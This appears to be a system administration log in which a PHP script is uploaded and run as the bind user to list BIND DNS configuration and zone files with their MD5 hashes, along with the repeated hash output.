MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-19 11:24:42: Establishing a connection
2026-06-19 11:24:43: 

PUT: /tmp/pkp950216

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-19 11:24:43: 

runuser -l bind -s /bin/bash -c '/tmp/pkp950216; rm /tmp/pkp950216'

2026-06-19 11:24:43: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-19 11:24:44: Establishing a connection
2026-06-19 11:24:45: 

PUT: /tmp/pkp575445

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-19 11:24:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp575445; rm /tmp/pkp575445'

2026-06-19 11:24:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
